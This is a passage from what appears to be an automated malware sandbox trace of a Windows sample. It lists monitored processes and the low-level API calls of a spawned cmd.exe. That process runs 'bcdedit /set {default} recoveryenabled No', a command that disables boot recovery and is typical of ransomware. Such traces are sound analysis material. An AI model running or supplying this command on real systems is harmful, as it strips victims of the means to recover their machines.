= "0x1f7c3000" os_pid = "0xe98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x868" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 101 os_tid = 0xed0 Thread: id = 104 os_tid = 0x7f0 Thread: id = 108 os_tid = 0x788 Thread: id = 119 os_tid = 0xa5c Thread: id = 120 os_tid = 0xcd8 Process: id = "17" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x1f6ef000" os_pid = "0x4a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xec8" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} recoveryenabled No" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 102 os_tid = 0xfb4 [0262.773] GetModuleHandleA (lpModuleName=0x0) returned 0xc00000 [0262.773] __set_app_type (_Type=0x1) [0262.773] __p__fmode () returned 0x77ae3c14 [0262.773] __p__commode () returned 0x77ae49ec [0262.773] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc16fd0) returned 0x0 [0262.773] __getmainargs (in: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac, _DoWildCard=0, _StartInfo=0xc2d1b8 | out: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac) returned 0 [0262.773] _onexit (_Func=0xc18030) returned 0xc18030 [0262.773] _onexit (_Func=0xc18040) returned 0xc18040 [0262.774] _onexit (_Func=0xc18050) returned 0xc18050 [0262.774] _onexit (_Func=0xc18060) returned 0xc18060 [0262.774] _onexit (_Func=0xc18070) returned 0xc18070 [0262.774] _onexit (_Func=0xc18080) returned 0xc18080 [0262.774] GetCurrentThreadId () returned 0xfb4 [0262.774] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfb4) returned 0xbc [0262.774] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0262.775] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0262.775] SetThreadUILanguage (LangId=0x0) returned 0x2fd0409 [0262.971] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0262.971] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2d5f7f0 | out: phkResult=0x2d5f7f0*=0x0) returned 0x2 [0262.971] VirtualQuery (in: lpAddress=0x2d5f7fb, lpBuffer=0x2d5f7a8, dwLength=0x1c | out: lpBuffer=0x2d5f7a8*(BaseAddress=0x2d5f000, AllocationBase=0x2c60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0262.971] VirtualQuery (in: lpAddress=0x2c60000, lpBuffer=0x2d5f7a8, dwLength=0x1c | out: lpBuffer=0x2d5f7a8*(BaseAddress=0x2c60000, AllocationBase=0x2c60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0262.971] VirtualQuery (in: lpAddress=0x2c61000, lpBuffer=0x2d5f7a8, dwLength=0x1c | out: lpBuffer=0x2d5f7a8*(BaseAddress=0x2c61000, AllocationBase=0x2c60000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0262.971] VirtualQuery (in: lpAddress=0x2c63000, lpBuffer=0x2d5f7a8, dwLength=0x1c | out: lpBuffer=0x2d5f7a8*(BaseAddress=0x2c63000, AllocationBase=0x2c60000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0262.971] VirtualQuery (in: lpAddress=0x2d60000, lpBuffer=0x2d5f7a8, dwLength=0x1c | out: lpBuffer=0x2d5f7a8*(BaseAddress=0x2d60000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0262.971] GetConsoleOutputCP () returned 0x1b5 [0263.251] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0263.251] SetConsoleCtrlHandler (HandlerRoutine=0xc27260, Add=1) returned 1 [0263.251] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.251] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc3388c | out: lpMode=0xc3388c) returned 1 [0263.422] _get_osfhandle (_FileHandle=0) returned 0x8c [0263.422] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33888 | out: lpMode=0xc33888) returned 1 [0263.590] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.590] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0263.795] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.795] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0263.967] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.967] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0264.110] _get_osfhandle (_FileHandle=0) returned 0x8c [0264.110] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0264.194] _get_osfhandle (_FileHandle=0) returned 0x8c [0264.194] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0264.428] GetEnvironmentStringsW () returned 0x3064bd0* [0264.428] GetProcessHeap () returned 0x3060000 [0264.428] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0xaca) returned 0x30656a8 [0264.428] FreeEnvironmentStringsA (penv="A") returned 1 [0264.428] GetProcessHeap () returned 0x3060000 [0264.428] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x4) returned 0x30646b0 [0264.428] GetEnvironmentStringsW () returned 0x3064bd0* [0264.428] GetProcessHeap () returned 0x3060000 [0264.428] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0xaca) returned 0x3066180 [0264.429] FreeEnvironmentStringsA (penv="A") returned 1 [0264.429] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2d5e74c | out: phkResult=0x2d5e74c*=0xcc) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x0, lpData=0x2d5e758*=0xc5, lpcbData=0x2d5e750*=0x1000) returned 0x2 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x4, lpData=0x2d5e758*=0x1, lpcbData=0x2d5e750*=0x4) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x0, lpData=0x2d5e758*=0x1, lpcbData=0x2d5e750*=0x1000) returned 0x2 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x4, lpData=0x2d5e758*=0x0, lpcbData=0x2d5e750*=0x4) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x4, lpData=0x2d5e758*=0x40, lpcbData=0x2d5e750*=0x4) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x4, lpData=0x2d5e758*=0x40, lpcbData=0x2d5e750*=0x4) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x0, lpData=0x2d5e758*=0x40, lpcbData=0x2d5e750*=0x1000) returned 0x2 [0264.429] RegCloseKey (hKey=0xcc) returned 0x0 [0264.429] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2d5e74c | out: phkResult=0x2d5e74c*=0xcc) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x0, lpData=0x2d5e758*=0x40, lpcbData=0x2d5e750*=0x1000) returned 0x2 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x4, lpData=0x2d5e758*=0x1, lpcbData=0x2d5e750*=0x4) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x0, lpData=0x2d5e758*=0x1, lpcbData=0x2d5e750*=0x1000) returned 0x2 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x4, lpData=0x2d5e758*=0x0, lpcbData=0x2d5e750*=0x4) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x4, lpData=0x2d5e758*=0x9, lpcbData=0x2d5e750*=0x4) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x4, lpData=0x2d5e758*=0x9, lpcbData=0x2d5e750*=0x4) returned 0x0 [0264.429] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2d5e754, lpData=0x2d5e758, lpcbData=0x2d5e750*=0x1000 | out: lpType=0x2d5e754*=0x0, lpData=0x2d5e758*=0x9, lpcbData=0x2d5e750*=0x1000) returned 0x2 [0264.429] RegCloseKey (hKey=0xcc) returned 0x0 [0264.430] time (in: timer=0x0 | out: timer=0x0) returned 0x5cb057f1 [0264.430] srand (_Seed=0x5cb057f1) [0264.430] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} recoveryenabled No" [0264.430] malloc (_Size=0x4000) returned 0x34621f0 [0264.430] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} recoveryenabled No" [0264.430] malloc (_Size=0xffce) returned 0x3470048 [0264.431] ??_V@YAXPAX@Z () returned 0x2d5f730 [0264.431] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3470048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.431] malloc (_Size=0xffce) returned 0x3480020 [0264.432] ??_V@YAXPAX@Z () returned 0x2d5f504 [0264.432] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3480020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0264.432] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0264.432] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0264.432] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0264.432] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0264.432] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0264.432] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0264.433] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0264.433] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0264.433] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0264.433] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0264.433] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0264.433] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0264.435] GetProcessHeap () returned 0x3060000 [0264.435] RtlFreeHeap (HeapHandle=0x3060000, Flags=0x0, BaseAddress=0x30656a8) returned 1 [0264.435] GetEnvironmentStringsW () returned 0x3064bd0* [0264.436] GetProcessHeap () returned 0x3060000 [0264.436] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0xae2) returned 0x3067748 [0264.436] FreeEnvironmentStringsA (penv="A") returned 1 [0264.436] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0264.436] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0264.436] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0264.436] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0264.436] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0264.436] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0264.436] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0264.436] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0264.436] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0264.436] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0264.436] malloc (_Size=0xffce) returned 0x348fff8 [0264.437] ??_V@YAXPAX@Z () returned 0x2d5f29c [0264.437] GetProcessHeap () returned 0x3060000 [0264.437] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x38) returned 0x3060ae0 [0264.437] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x348fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.437] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x348fff8, lpFilePart=0x2d5f2e8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2d5f2e8*="Desktop") returned 0x17 [0264.437] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0264.438] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2d5f068 | out: lpFindFileData=0x2d5f068) returned 0x3060b20 [0264.438] FindClose (in: hFindFile=0x3060b20 | out: hFindFile=0x3060b20) returned 1 [0264.438] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x2d5f068 | out: lpFindFileData=0x2d5f068) returned 0x3060b20 [0264.438] FindClose (in: hFindFile=0x3060b20 | out: hFindFile=0x3060b20) returned 1 [0264.438] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x2d5f068 | out: lpFindFileData=0x2d5f068) returned 0x3060b20 [0264.438] FindClose (in: hFindFile=0x3060b20 | out: hFindFile=0x3060b20) returned 1 [0264.438] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0264.438] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0264.439] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0264.439] GetProcessHeap () returned 0x3060000 [0264.439] RtlFreeHeap (HeapHandle=0x3060000, Flags=0x0, BaseAddress=0x3067748) returned 1 [0264.439] GetEnvironmentStringsW () returned 0x3064bd0* [0264.439] GetProcessHeap () returned 0x3060000 [0264.439] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0xb1a) returned 0x3066c58 [0264.439] FreeEnvironmentStringsA (penv="=") returned 1 [0264.439] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3470048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.439] GetProcessHeap () returned 0x3060000 [0264.439] RtlFreeHeap (HeapHandle=0x3060000, Flags=0x0, BaseAddress=0x3060ae0) returned 1 [0264.439] ??_V@YAXPAX@Z () returned 0x1 [0264.439] ??_V@YAXPAX@Z () returned 0x1 [0264.439] GetProcessHeap () returned 0x3060000 [0264.439] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x400e) returned 0x3068d60 [0264.439] GetProcessHeap () returned 0x3060000 [0264.439] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x60) returned 0x3067780 [0264.439] GetProcessHeap () returned 0x3060000 [0264.440] RtlFreeHeap (HeapHandle=0x3060000, Flags=0x0, BaseAddress=0x3068d60) returned 1 [0264.440] GetConsoleOutputCP () returned 0x1b5 [0264.630] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0264.630] GetUserDefaultLCID () returned 0x409 [0264.630] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xc2f82c, cchData=8 | out: lpLCData=":") returned 2 [0264.630] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2d5f658, cchData=128 | out: lpLCData="0") returned 2 [0264.630] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2d5f658, cchData=128 | out: lpLCData="0") returned 2 [0264.630] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2d5f658, cchData=128 | out: lpLCData="1") returned 2 [0264.630] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xc2f81c, cchData=8 | out: lpLCData="/") returned 2 [0264.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xc2f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0264.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xc2f778, cchData=32 | out: lpLCData="Tue") returned 4 [0264.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xc2f738, cchData=32 | out: lpLCData="Wed") returned 4 [0264.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xc2f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0264.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xc2f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0264.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xc2f678, cchData=32 | out: lpLCData="Sat") returned 4 [0264.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xc2f638, cchData=32 | out: lpLCData="Sun") returned 4 [0264.631] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xc2f80c, cchData=8 | out: lpLCData=".") returned 2 [0264.631] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xc2f7f8, cchData=8 | out: lpLCData=",") returned 2 [0264.631] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0264.632] GetProcessHeap () returned 0x3060000 [0264.632] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x0, Size=0x20c) returned 0x3067830 [0264.632] GetConsoleTitleW (in: lpConsoleTitle=0x3067830, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.789] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0264.789] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0264.789] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0264.789] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0264.790] ??_V@YAXPAX@Z () returned 0x1 [0264.790] GetProcessHeap () returned 0x3060000 [0264.790] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x400a) returned 0x3068d60 [0264.790] GetProcessHeap () returned 0x3060000 [0264.790] RtlFreeHeap (HeapHandle=0x3060000, Flags=0x0, BaseAddress=0x3068d60) returned 1 [0264.791] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0264.791] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0264.791] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0264.791] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0264.791] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0264.791] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0264.791] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0264.791] GetProcessHeap () returned 0x3060000 [0264.791] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x58) returned 0x3067a48 [0264.791] GetProcessHeap () returned 0x3060000 [0264.791] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x18) returned 0x3067aa8 [0264.792] GetProcessHeap () returned 0x3060000 [0264.792] RtlAllocateHeap (HeapHandle=0x3060000, Flags=0x8, Size=0x4e) returned 0x3067ac8 [0264.792] GetConsoleTitleW (in: lpConsoleTitle=0x2d5f550, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.973] malloc (_Size=0xffce) returned 0x3482638 [0264.974] ??_V@YAXPAX@Z () returned 0x2d5f2dc [0264.974] malloc (_Size=0xffce) returned 0x3492610 [0264.975] ??_V@YAXPAX@Z () returned 0x2d5f094 [0264.975] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0264.975] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0264.975] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0264.975] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0264.975] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0264.975] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0264.975] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0264.975] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0264.975] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0264.976] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0264.976] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0264.976] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0264.976] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0264.976] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0264.976] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0264.976] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0264.976] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0264.976] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0264.976] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0264.976] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0264.976] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0264.976] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0264.976] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0264.976] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0264.976] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0264.976] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0264.976] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0264.976] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0264.976] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0264.976] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0264.976] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0264.976] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0264.976] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0264.976] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0264.976] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0264.976] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0264.976] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0264.976] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0264.976] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0264.976] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0264.976] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0264.976] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0264.976] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0264.976] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0264.977] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0264.977] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0264.977] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0264.977] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0264.977] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0264.977] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0264.977] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0264.977] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0264.977] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0264.977] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0264.977] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0264.977] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0264.977] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0264.977] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0264.977] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0264.977] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0264.977] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0264.977] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0264.977] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0264.977] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0264.977] _wcsicmp (_String1="bcdedit", 